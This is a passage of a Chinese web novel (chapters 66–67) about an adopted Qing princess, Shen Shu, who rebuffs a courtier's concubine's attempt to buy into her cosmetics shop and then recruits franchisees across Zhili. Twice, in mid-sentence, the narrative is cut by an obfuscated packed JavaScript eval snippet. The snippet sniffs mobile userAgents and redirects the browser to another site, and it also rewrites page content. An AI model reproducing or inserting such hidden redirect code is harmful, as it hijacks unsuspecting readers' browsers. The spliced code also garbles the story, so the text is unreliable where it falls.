佟国维不仅是康熙的舅父,因为康熙还娶了佟国维的女儿,所以佟国维还是康熙的岳父。 而她是康熙的“义女”,按这个辈份,沈姝觉得自己得称隆科多为舅父,那隆科多之子算是她的表兄弟。 不过沈姝记得隆科多拥立的是四阿哥不是八阿哥,而他爹佟国维是八阿哥的支持者。 所以如果是隆科多的面子,她可不给! “不急,等着看看她们想怎样。” 沈姝觉得自己的牌面已经亮了出来,接下来还是静观对方打什么牌再说。 话说刘掌柜回去细看之后气得砸了一只茶盏,在她看来沈姝实在是过于苛刻。 什么一起合作发财? 说的可真好听! 实际上不仅是要让馥香斋换招牌,还要被赶出京城,简直是欺人太甚! 其实沈姝的意思是先招馥香斋为直隶地区的加盟商,直隶乃京畿重地,民生富庶,下辖十二州府,也就是要开十二家颜如玉。 而且她对加盟商让出了一半的利润空间,测算下来加盟商能赚到的钱应该不比传统胭脂水粉少。 可刘掌柜不是这么看的,她看到的是自家铺子要被赶出京城! 在京城做生意多风光? 鬼才要去其他地方! 不行,这事必须要去找女儿说说,让女婿出面解决。 当初馥香斋一年也就能赚个几百两银子,攀附上佟佳氏后一年能赚四五千两,可是还要孝敬给女婿一半! 所以这忙女婿必须要帮,不帮以后可没这份子钱了。 66.第 66 章 “珠儿啊,咱家的铺子要跨了!” 刘掌柜一见到女儿,就开始抹眼泪。 这话把她的女儿陈宝珠吓了一跳,“到底是怎么回事啊娘?” “城里新开了一家叫颜如玉的胭脂铺,你知道吗?” 听刘掌柜这么说,陈宝珠想了想问道:“娘您说的可是顺和公主开的那家颜如玉?可这跟咱们家铺子有什么关系?” 她听说过这事,还知道不少人都去那里买了东西,但她没有去过。 是不愿意去,自家就有胭脂铺子,干嘛要去别家买的东西? 听女儿这么说,刘掌柜简直想敲开她的脑袋看看,怎么一点儿精明都没有! “这跟咱家铺子能没关系吗?人家都跑去颜如玉买东西了,谁来馥香斋?” “那、那怎么办啊?” 一听这话,陈宝珠也急了。她可是知道自己得宠,有娘家给的份子钱的功劳。 若是份子钱少了,婆母会不高兴! 见女儿只会大呼小叫,什么法子都没有,刘掌柜直想叹气。 这女儿,也就一张脸生的美,脑袋里装的全都是浆糊! “怎么办?去找你的夫君想办法啊!” 刘掌柜说着把冯掌柜给的加盟商方案放在了桌子上,这事当然是要看女婿的关系了。 她一个民妇去找公主谈,肯定是不够格! 刘掌柜离开后,陈宝珠就拿着册子去找夫君玉柱。 其实这个家里,玉柱也不当家。所以听了陈宝珠的话,他又把东西拿给母亲李四儿。 李四儿虽然不太识字,但听儿子读完册子,心里很快有了计较。 她原本是隆科多岳父的妾,后来跟了隆科多,所以嫡福晋对她这个曾经的庶母百般刁难。哪怕是生了儿子也不得入门,只能做个外室。 她消息灵通,当然也知道颜如玉是顺和公主的铺子。 而且她还知道胭脂铺子很赚钱,否则妾室陈氏的娘家也不可能每年赚到几千两银子。 现在有能搭上公主的机会,李四儿自然是跃跃欲试,当然是跟公主一起合作更好更有面子啊! 傍晚,隆科多下职回来还没坐下喝上一杯热茶,李四儿就直接把册子丢到了他面前。 “爷你回来了呀,看看这是那个什么顺和公主派人送来的册子。” 李四儿如此嚣张,一点儿都不把隆科多放在眼里,可隆科多不仅毫不在意还涎着脸笑眯眯的先搂住了爱妾的腰身,一把将人拉入怀中。 李四儿反手搂住隆科多的脖子直接跨坐在他腿上催促道:“说正事呢,你赶紧看看呀!” 隆科多这才腾出来一只手摸到桌子上的册子,抱着李四儿看了起来。 “公主这是想跟陈氏合作?” 隆科多当然知道儿媳陈氏家中的胭脂铺子,因为李四儿没少让他帮忙拉生意。 “是啊,要不怎么会主动送来这个!” 认为这就是沈姝的主动示好,李四儿理所当然的说道。 隆科多放下册子笑道:“这是好事啊,你怎么看起来不太高兴?” 李四儿哼了一声,“哎呀,你看清楚了没?这上面写的是得去京外开铺子,为什么不能在京里? 还有,既然咱们自己就能搭上公主,那就用不着陈氏了! 我看咱们不如直接入股公主的铺子,你说咱们占几成股好?” 刘掌柜做梦都不会想到李四儿居然是这么想的,当然沈姝也想不到这事会变成这样。 但隆科多知道沈姝此人怕是没有这么好打交道,因为她的那些事情他可是有所耳闻。 什么顶撞皇上,硬杠太子,怒怼御史…… 甚至那次她顶撞皇上被罚跪在南书房外,他当值时还亲眼所见。 结果呢,就跪了不到三个时辰,当日回去的时候竟然披着皇上的大氅! 那可是皇上的大氅啊,有此殊荣者几人? 要是在外面跪着就能得皇上如此恩宠,那他能跪三天三夜! 说实话为这种小事,他不太想去跟这种人讨价还价,“我看既然公主有意,不如顺着她来好了……” 话还没说完,隆科多的耳朵就被李四儿给拧住了,“我这还不是为了多赚些钱? 你把我们娘仨扔在这外面,连钱都不想我们多赚,可是一点儿都不心疼啊!” 被拧了耳朵,隆科多也不生气,而是连声求饶,“哎哎哎,祖宗呐,赶紧松手松手,我办还不行啊!” “这还差不多!” 李四儿这才松开了手,她觉得顺和公主不过是义女,而隆科多可是正儿八经的皇亲国戚,这事怎么会不成呢! 而隆科多就爱李四儿这样刁蛮泼辣的性子,可谓是宠爱至极。 再说因为家里不同意,李四儿母子一直不得进门,他心里很是愧疚,应下的事不会怠慢。 因为跟沈姝没有交情,这事当然不能自己亲自去提,所以隆科多找到了八阿哥这个中间人。 八阿哥不愿意拂了隆科多的面子,不仅是因为大家算是亲戚,还因为佟国维支持自己。 但这事他直接去说也不合适,万一谈不成就没有回旋的余地了。 所以八阿哥把这事交代给了八福晋,让她先去探探沈姝的口风。 八福晋带着任务登门拜访,见到沈姝寒暄几句之后便表明来意。 “顺和,听说你想与馥香斋合作。不过馥香斋与佟阁老家的那个隆科多有关,算起来咱们都是亲戚。 前几日,隆科多托信想问问能否与你直接合作?” “直接合作?那是怎么个合作法?” 听这意思隆科多是要踢开馥香斋啊,沈姝有种不妙的感觉,这事一般要脸面的人可办不出来! 然后就听八福晋说道:“我听那意思是他的妾室李氏入股,她占小,你占大,你看如何?” 入股? 这话差点儿让沈姝无语到想笑,凭什么啊! 别说她就是故意不想交好隆科多,就算抛开这个不谈,想要入股也得看看自己有什么本钱吧? 康熙倒是强行当了她的投资人,但作为交换给了公主的身份。 隆科多能给什么? “八嫂,以咱们之间的交情,我给你交个底。原本我找馥香斋合作,是想让他们去直隶各州府开铺子,货品由我来供给。 他们低价进货,以当地同等价钱售出,大家一起赚钱。 我的打算是多招募些合作者,将颜如玉的招牌扩散至大清各州府。若是安排妥当,一年下来少得能赚数十万两银子。 八嫂你觉得,隆科多想要入股,能出多少本钱?” 数十万两是沈姝的预测值, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258083|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但并不是胡乱估值。 因为整个大清一二百个府,就算是抛开偏远贫穷之地,也得有百十个左右。 按每府的年营业额一万两计算,就是几十万两! “竟能得数十万两之多?不可能吧!” 八福晋听完,脑子里只剩下这句话,因为实在是太惊人了! 别说是自己家里没有这么多钱,就是九阿哥这个私下里做生意数年之人怕是也赚不到这么多啊! 这还是仅一年的收入,她不太相信,怎么可能啊? 见八福晋不信,沈姝也不瞒着,随即解释道:“八嫂,我铺子里的东西你用过,应该知道好不好用。同等价钱,谁都想用更好用的东西,这是其一。 最重要的是,我铺子里的东西没有替代品,就是别人是无法仿制的。 不瞒你说,从开张至今,我这铺子已经赚了一万多两银子。” “当……当真?” 八福晋满脸都是不可置信,听着跟做梦似的,钱就这么好赚? 沈姝淡淡的说道:“这是独门生意。八嫂你可以问问八哥,内务府经营染料生意,现在赚了多少。” “……” 一时之间八福晋不知道该说什么好,要真是这样,那沈姝确实是舍不得让外人入股! 此行无功而返,回去之后八福晋问八阿哥,“染料的生意,内务府现在赚了多少钱?” “两三万两吧,怎么了?” 像这些公务,不同于在家闭口不言的四阿哥,八阿哥会告诉八福晋。 不仅是因为夫妻二人感情极好,还因为八福晋家世好,尽心助力他。 八福晋知道染料的生意也就才开始了两三个月,她想知道的是一年能赚多少。 “那一年下来能有多少?” 八阿哥想了想说出了一个估计的数额,“眼下的染料只够供给京畿附近,供不应求。若是能在其他各州府都建造作坊,想必是可以年收百万两。” 现在他就正在忙活这事,想赚钱,得先把作坊都给建起来。 “……顺和说她的胭脂铺子一年也能赚数十万两。” 八福晋说这话的时候,神情恍惚,听了八阿哥的话,她已经开始相信沈姝所说。 “不可能!” 听八福晋这么说,八阿哥矢口否定。 八福晋苦笑一声,“你不是让我去找她说隆科多的事情,她就是这么说的。” “……” 八阿哥摇头不信,“这怎么可能?不过是一脂粉铺子而已!” “是真的,顺和说……” 见八阿哥不信,八福晋复述了沈姝的话。 八阿哥听完陷入了沉默,怪不得刚才八福晋问染料能赚多少钱。 要真是能把生意做这么大,遍布每个州府,这确实是有可能。 “那她的意思就是不同意入股之事了?” 八福晋摇摇头,“没有直接把话说绝,只是反问隆科多能出多少本钱。” 隆科多能出多少本钱? 都不用去问,能赚几十万两银子的生意,八阿哥知道隆科多没有这个本钱。 可拒绝就等于是拂了隆科多的面子,他又不愿意这样。 其实事情办不成,他也没面子。 “我去找顺和在再说说吧,毕竟是亲戚的事情。” 67.第 67 章 隔日,八阿哥登门拜访沈姝。 他先是说道:“顺和,前日你八嫂找你来说隆科多的事情。 此事是她考虑不周,不了解你生意的事情就贸然想帮亲戚做人情。我已经说过她了,直接入股很不妥当。” 沈姝笑了笑,虽然觉得八福晋来说应该是八阿哥允了的,但却没有戳破。 “想必八嫂也是一片好心,不过入股的话目前确实不需要。八哥你知道的,我不缺钱。” 如果真的需要有人入股,沈姝觉得自己应该去找康熙谈。 因为这是大清国最有钱最有权之人,其他股东候选人应该都比不上他! 八阿哥知道沈姝确实不缺钱,内务府的染料生意还得分她一成利呢! 更何况她自己又会赚钱,当然不会缺。 但想要把生意做大,还需要人手,所以八阿哥笑道:“那是,顺和你可比我们这些阿哥们富有多了! 听你八嫂说你想把生意做到各州府,我有个建议不知是否妥当。” “八哥你说。” 沈姝想听听八阿哥会怎么给隆科多说情。 “隆科多是佟阁老之子,而佟阁老门生故吏遍布。若是想要在地方上做生意,少不得要打点关系。 入股虽然不太合适,但既然隆科多有这层关系,又有意合作。 所以你看是不是可以允他在州府开店,你提供货品?” 这个折中的法子是八阿哥从内务府的染料生意上的领悟,现在的染料生意就是这样。 内务府负责供应染料,商贾们负责交钱提货,这样大家都有的赚。 听八阿哥这么说,沈姝很是疑惑,“八哥,我给的就是这么个合作方式啊!” “嗯?” 这话说的八阿哥摸不着头脑,什么情况? 不知道这话传来传去是不是在中间变了味儿,沈姝见状解释道:“我让店里的掌柜约了馥香斋的掌柜,给她看的就是这种合作方式。 打算就是让馥香斋换成颜如玉的招牌,然后先去直隶各州府开铺子,我负责以低价提供货品,大家一起赚钱。 可是八嫂跟我说的是隆科多的妾室想要入股……” “是吗?” 八阿哥微微皱眉,也觉得是不是传错话了,“那你的这个法子就不错啊!我回去再问问看到底是怎么回事。” 然后八阿哥就去找隆科多,他不能直说是因为沈姝这生意赚钱太多而隆科多出不起本钱,所以入股不合适这种得罪人的话。 便直接略过了这个,说起了沈姝的合作方案。 “我问了,顺和公主想要的合作方式是需要有人去各州府开铺子。 听说她的铺子很赚钱,要是一起合作应该也能赚到钱。” 这话听在隆科多耳中就是拒绝,因为李四儿的要求是入股。 虽然心里不高兴,但也不能给八阿哥脸色看,隆科多笑着说道:“多谢八爷您帮忙,不过我那内人还带着孩子,去州府开店多有不便,这事就是算了。” 八阿哥没有再多说什么,虽然他觉得隆科多有点儿拎不清。 既想赚钱又不想动脑子想办法,开铺子还用得着家眷自己去吗? 隆科多回去之后跟李四儿说这事不成,被她拧着耳朵大骂了一通。 当然,骂的不是他,而是沈姝。 “不同意就不同意,谁稀罕? 不过是一个贱民出身的义女,也摆起了公主的架子不把爷你放在眼里! 可真是猪鼻子插大葱了,装模作样!” 李四儿觉得沈姝不同意的原因就是像其他人那样,看不起她这个至今都还未能入门的妾室。 她知道很多贵妇都看不上自己,平日里宴会也从不给她下帖子。 而她主动去邀请,她们也不会来赴宴。 听李四儿骂的起劲儿,隆科多也不好阻拦,事情没办好他觉得对不起李四儿,就让她在家里骂几句出出气算了。 对于沈姝,他倒是没什么,原本合作这事就强求不得。 义女也是公主啊! 谁不知道皇上有多看重这位义女? 数日后,馥香斋的刘掌柜派人送信拒绝了合作。 沈姝知道后有些意外,她觉得刘掌柜应该知道拒绝之后双方就是真正的竞争对手。 据她所知,馥香斋的生意可算不上好。 而顾客一旦习惯了她店里的这些东西,应该是再也难以去换用其他店里的东西。 搞不明白刘掌柜是怎么想的,沈姝吩咐冯掌柜放出招募加盟商的风声。 消息放出来后,有意向者不在少数。 在京城商贾眼中,沈姝就是个传奇! 之前布行的人联合弹劾她,结果呢,她不仅一点儿事都没有,还麻雀变凤凰了! 甚至有人还觉得,若不是因为被弹劾,说不定还成不了公主。 当然,公主倒不是最重要的,重要的是她生财有道啊! 之前的染布生意,仅凭一己之力,她能挤死所有同行。 而她又做起了胭脂水粉的买卖,谁还不知道啊,自从她这店铺开张,馥香斋冷清到门可罗雀。 现在又放出这样的消息,不少人都摩拳擦掌,跃跃欲试。 之前跟着公主的人可是得到了便宜,这并不是什么秘密。 听说那些免费学染布的人中有二十人拿到了免费的名额,可以从内务府购置染料。 其他人的名额,据说是要花钱买。 毕竟要是不买,那以后这生意还怎么做啊! 更何况有时候可能拿钱都未必买的上名额,因为这东西还不是谁想要都有。 所以这次风声一放出来,冯掌柜和顺子都收到了一大堆的帖子。 但他们二人都没有自作主张,而是把装帖子的箩筐抬给沈姝看。 “公主,您看这些我们需要都应邀吗?” 沈姝看着眼前这满满一箩筐的帖子,确实是有点儿太多。 但这是好事,说明不缺加盟商。就是不知道这些人有没有卖胭脂水粉的经验。 原本找馥香斋合作,一是考虑到同行的利益,二是因为同行有经验。 但很可惜府香斋不上道,那就只能设置些条件挑挑拣拣看谁更合适。 “我让你们制作的小册子可是弄好了?” “按您的吩咐,制作了一百份,可是……” 顺子看着箩筐里的帖子,面带难色,“估计可能不太够用。” “无妨。” 沈姝接着吩咐道:“把人都集中起来,将这些册子都发出去,让他们各自传阅。 看完之后,再说人选的事情。” 册子是她起草的,上面列明了加盟商的各种条件。 不仅包括对加盟商的资产、人数要求,还包括对店铺的管理要求等。 得到嘱咐后,顺子和冯掌柜便各自包了一个茶楼的场子用来谈事。 因为下帖之人着实是不少,再加上给冯掌柜下帖的都是女子,而邀请顺子的都是男子,这样分开比较合适。 顺子做这种事很有经验,当初那些布商就是他负责处理的。 现在他的地位是水涨船高,虽然不会仗势欺人,但气势很足。 发放册子之前,他手持一本红纸册子高声先说了规矩,“诸位,静静,关于此次颜如玉招募加盟商一事,具体事宜都在这个册子上。 我现在让人发放册子,都不要争抢,依次领取。若是有人领不到,可以借阅他人的。 另外,希望你们看过之后,如果觉得有其他合适的人选,可以推荐。” 言毕,开始发放册子。 拿到册子之人迫不及待的开始翻阅,这上面确实是写的非常详细,只是这条件…… 有人皱眉,“每府才只要一人,而且每次进货不低于一千两银子? 这也太苛刻了吧!” 也有人说道:“一人正好,都挤到一块岂不是同行相伤? 一千两是不少,可咱们完全可以合伙去其他州府开店啊!” 至于诸如店内陈设必须与京城颜如玉一样的这些条件,在场之人都不在意。 这对于他们来说并不重要,他们需要考虑的是需要投入多少本钱,以及能赚到多少钱? 要是能赚钱,就算是全族一起凑钱都行! 见前来之人都交头接耳,议论纷纷,顺子知道今天肯定是选不出来人。 按沈姝的话说,这叫筛选,用这个册子先筛选一轮。 两刻钟之后,顺子又道:“诸位,你们可以拿回去仔细考虑。 三日后,若有意向,可以来此再谈。” 无论是顺子还是冯掌柜那边,今天这样算是完事,接下来要看三日后还剩多少人。 三日后,同样的时间地点,但来人却少了三分之二还多。 每次进货一千两银子,意味着至少要投入一千多两的本钱,因为房租、伙计、店内陈设都要花钱。 而能拿出来一千多两本钱来做生意的人,不算特别多。 看着还剩下的零零散散一二十人,顺子说道:“诸位,册子想必你们也看过了,我们要招募的是京城以外其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267652|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他州府的加盟商。 我们颜如玉的东西到底好不好卖,相信你们也打听过。 若是你们确定要合作,我们颜如玉负责提供货品,你们负责运送和贩卖,至于进货价与你们售价之间的差额,完全归你们所有。 也就是说,你们自负盈亏。 还有其他问题,你们可以问,我看能否解答。” 按沈姝所说,今日是要答疑解惑。 主要问题的答案,顺子都已经提前背下。 今日前来之人,都是有意向的,听顺子说完,有人问道:“丁总管,那您的定价是多少?” “可能每个州府有所差异,大约会是京城颜如玉售价的五成左右。 不过如果某些州府并不富庶,胭脂水粉售价连京城的五成都不到,那就不建议在此开铺子。” 顺子的回答是沈姝所交代,考虑到各州府的经济发展程度存在差异,所以才打算根据经销商的区域不同灵活定价。 四种产品中香皂的成本最低,利润率最高。五两银子一块的香皂,成本也就几百文。 相比之下,含有大量甘油或白蜡的香脂和口红的成本相对就比较高。 其中香脂要比口红的成本还高,不仅是因为这里面大部分都是甘油、硬脂酸和香料这种成本高的东西,还因为香脂的罐子容量大。 一罐香脂的成本都要二三两银子了,口红如果按重量来算,成本比香脂要低。 至于眉笔,跟口红差不多的成本,可是眉笔重量不及口红的一半。 这样综合算下来,如此定价有大家都能赚钱,因为奢侈品的利润率真的很高,很高。 当然,如果某地的胭脂水粉价钱极低,那说明该地并富余,不适合进驻。 后世的奢侈品店也不开在穷乡僻壤之地,沈姝对于自己产品的定位就是这种奢侈品。 便宜的胭脂水粉也很多,但颜如玉不赚普通百姓的钱,只专注于大户人家的钱包。 不然这些东西卖这么贵,沈姝都觉得自己是奸商。 看馥香斋卖那么贵都行,她觉得自己也行。反正有钱人的羊毛总要被人薅,那就让她来薅吧! 听完顺子的回答,这人立刻又问道:“不知一个人能在几个州府开店?” “不限,只要你在各府都能达到条件。” 一听这话,这人直接站起来喊道:“丁总管,我想要顺天府、保定府、正定府!” 他一口气要了三个地方的,顺子高兴的还没来得及应下,就听旁人喊道:“黄三,你占这么多地方干什么?” 被称作黄三的人才懒得搭理这人,他们黄家世代经商,就是有钱。 再说这能搭上公主的生意,就是不赚钱也要做啊! 更何况他知道行情,这三个地方的胭脂水粉并不比京城便宜太多。 他的爱妾就是保定府的,那边一盒胭脂贵的都能卖到四五两银子。 而颜如玉的口脂价钱是六两银子,那就是说进价是三两,到保定府要是能卖出去就能赚一二两银子。 至于能不能卖出去? 这个他不担心,因为这是公主的东西啊!公主都用这个,京城里的贵妇们也用,说不定宫里也用呢! 所以他急切的问向顺子,“丁总管,您说行不行呀?” 顺子点点头,“当然可以。” 居然有人一下子抢了三府,还是最大的那三个,其他人都急了。 因为离得最近的直隶,除去京师一共也就只有十一府,这还不够分呢! “我、我要河间府!” “我宣化!” “天津归我!” …… 一时之间,这些人争抢起来。 见状顺子拍了拍桌子,“肃静肃静,还有件事忘说了,你们之中谁之前是布行绸缎行的,那就没有资格!” 其实他是故意在这个时候才说出这个条件,无他,就是帮沈姝出气。 还真别说,里面还真有! 话音刚落就有人嚷嚷起来,“哎李掌柜,我记得你之前就是卖布的吧!” “还有你,刘掌柜!” 这些人不少都相互认识,瞬间就开始揭短了。 被点出来的人很是尴尬,有人气愤不已,当场就离开了。 还有人不甘心想求情,顺子当然不会答应。这原本就是沈姝交代过的,那些曾经参与弹劾她的商贾,永不合作。 最终,顺子拿到了一份加盟商的候选名单。 当然,这不是最终的,还要汇总冯掌柜那边的情况,最终由沈姝来决定。